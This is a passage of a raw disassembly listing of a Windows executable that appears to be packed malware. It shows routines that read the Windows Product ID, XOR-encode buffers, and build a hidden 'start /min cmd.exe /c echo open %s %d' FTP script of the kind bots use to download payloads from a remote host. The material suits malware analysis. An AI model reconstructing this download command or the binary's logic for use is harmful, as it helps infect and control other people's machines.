[esp+158h+var_110], 80h nop call near ptr 2910000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28C0000h test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 28E0000h loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free loc_436266: ; DATA XREF: Themida_:00590C05o add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5EDAB2 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- db 46h, 2 dup(0CCh) dword_4367D0 dd 7FF738E9h, 0E990C077h, 777E573Ch, 2BE5E990h ; ___:0043E018o ... ; --------------------------------------------------------------------------- jg short loc_436859 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0A2h, 12h dd 0E9907781h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- db 71h db 90h db 0E9h, 0E1h, 0ACh ; --------------------------------------------------------------------------- jle short loc_43687D mov eax, ecx mov dword ptr [eax], offset off_43E1D4 retn 4 ; --------------------------------------------------------------------------- loc_436811: ; DATA XREF: ___:off_43E1D4o push esi mov esi, ecx call sub_436BCC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_436827 push esi call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx loc_436827: ; CODE XREF: ___:0043681Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp nop jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 4Ch, 97h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_436859: ; CODE XREF: ___:004367E0j cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 0E9903977h, 777E6714h db 0E9h ; --------------------------------------------------------------------------- loc_43687D: ; CODE XREF: ___:00436804j cmc xchg eax, ecx xor byte ptr [edi-18h], 90h jmp near ptr 77C47A50h ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F0h, 35h dd 8DE97780h, 1B778110h, 7F5B6EE9h, 3D83FF77h, 50E9F4h dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h, 50E9E4h dd 50E9F468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 7F593EE9h dd 0D9E96C77h, 74778008h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4368EA proc near ; CODE XREF: sub_4198C0+28p jmp near ptr 77C4FA10h sub_4368EA endp ; --------------------------------------------------------------------------- scasb ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0D3h, 0A0h dd 0E9907780h, 7780862Ch, 811478E9h, 0E9908077h, 7780A486h dd 0A805E990h, 0E9907780h, 7780AB78h, 80A99BE9h, 34E94E77h dd 27780ADh, 11D2E990h, 5FE97781h, 767780B1h, 8084DDE9h dd 0E9909577h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h dd 8003C1E9h, 0E9909777h, 778007C2h, 7E887FE9h, 0E9909A77h dd 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh, 38B1E990h dd 0E9907780h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780030Ch, 80A144E9h, 0D056B877h, 574E35A8h, 0B0C4B231h dd 65C01F5Ah, 0A164B9h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 7E8726E8h dd 0D8B9077h, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h dd 7500446Dh, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22B95DBh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 242B138h dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 778032CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436BCC proc near ; CODE XREF: ___:00436814p nop jmp near ptr 77C21868h sub_436BCC endp ; --------------------------------------------------------------------------- dw 7AE9h dword_436BD4 dd 0FF777FE2h, 32BCE990h, 0E9907780h, 777FC1CAh, 7E8302E9h dd 0E9905D77h, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 8205E990h dd 3CE97781h, 2075C697h, 9819E990h, 0E99075C6h, 75C5B3F2h dd 0C58844E9h, 0E9E9A175h, 0FA75C697h, 0B319E990h, 0E99075C4h dd 75C54BF8h, 0A55E990h, 85E975C6h, 1675C4EEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep nop jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- dw 62E9h dd 0BB02399Bh, 9C5AE990h, 0E9900239h, 23A9388h, 9999E990h dd 0E990023Ah, 23B937Ch, 0A4B1E990h, 0E990023Bh, 23C9370h dd 3D936BE9h, 0E990CA02h, 23DA762h, 3DA8FFE9h, 3CE90C02h dd 9F023DADh, 0B05DE990h, 4DE9023Dh, 62023E93h, 9A64E990h dd 0B7E9023Eh, 0B8023E9Eh, 933AE990h, 0E990023Fh, 23F9E42h dd 932EE990h, 0E9900240h, 240953Ah, 9322E990h, 0E9900241h dd 242931Ch, 42A526E9h, 0E5E99202h, 530242AFh, 930AE990h dd 0E9900243h, 24398FEh, 9DFEE990h, 0E9900243h, 2439F8Fh dd 3992F3E9h, 0E9907602h, 2389AC8h, 3892E7E9h, 0E1E97602h dd 46023792h, 369BBBE9h, 0D5E98D02h, 28023692h, 3592CFE9h dd 38E99702h, 0DE02349Ah, 95CEE990h, 0E9900234h, 23492BCh dd 9970E990h, 0E9900233h, 22B92B0h, 92AAE990h, 0E9900233h dd 2329D2Dh, 329CCBE9h, 0E990D902h, 7C4CA385h, 0A297E990h dd 0E9907C4Ch, 2329AEAh, 9939E990h, 0E9900232h, 2329280h dd 9A51E990h, 0E9900231h, 23199A3h, 980DE990h, 0BEE90231h dd 0E1023196h, 9505E990h, 0E9900231h, 231925Ch, 9E90E990h dd 58E90230h, 1602309Ch, 9AC5E990h, 0E9900230h, 2309819h dd 309770E9h, 0E9902F02h, 2309238h, 2F9F19E9h, 0BCE9E802h dd 7022F9Bh, 9A4BE990h, 0F8E9022Fh, 7022F95h, 921AE990h dd 0C0E9022Fh, 0A6022E9Ch, 98FDE990h, 0E990022Eh, 22E9899h dd 9202E990h, 0E990022Eh, 22D9FE0h, 2D9CE1E9h, 0E990E602h dd 22D9896h, 2D91EBE9h, 0E9908802h, 22C9E1Fh, 2C9CACE9h dd 0E9902002h, 22C99EAh, 2C9840E9h, 0E9908802h, 22C91CCh dd 2B931AE9h, 0E990DE02h, 1B6C72h, 91BAE990h, 0E9900244h dd 24EA238h, 91AEE990h, 0E990024Ah, 24E91A8h, 4D91A3E9h dd 9DE93902h, 0CA024C9Eh, 9196E990h, 0E990024Ch, 24B9492h dd 918AE990h, 0E990024Bh, 24A9C96h, 99EAE990h, 0E990024Ah dd 24A98BFh, 4A9667E9h, 0C4E9E102h, 67024495h, 9D53E990h dd 0E9900249h, 24998DFh, 94E6E990h, 55E90249h, 76024991h dd 914EE990h, 0E9900248h, 2479148h, 46ADBAE9h, 7CE92802h dd 1B0246AAh, 0A75BE990h, 0E9900246h, 246A582h, 912AE990h dd 0E9900246h, 2459124h, 0A22EE990h, 0E9907C60h, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 71687585h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp jmp near ptr 71AB615Ah sub_436EFA endp ; --------------------------------------------------------------------------- db 7Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... jmp near ptr 71AB428Ah sub_436F00 endp ; --------------------------------------------------------------------------- db 67h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p nop jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- dd 67BCA3E9h db 71h, 0CFh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F1E proc near nop jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 3Ch, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F2A proc near ; CODE XREF: 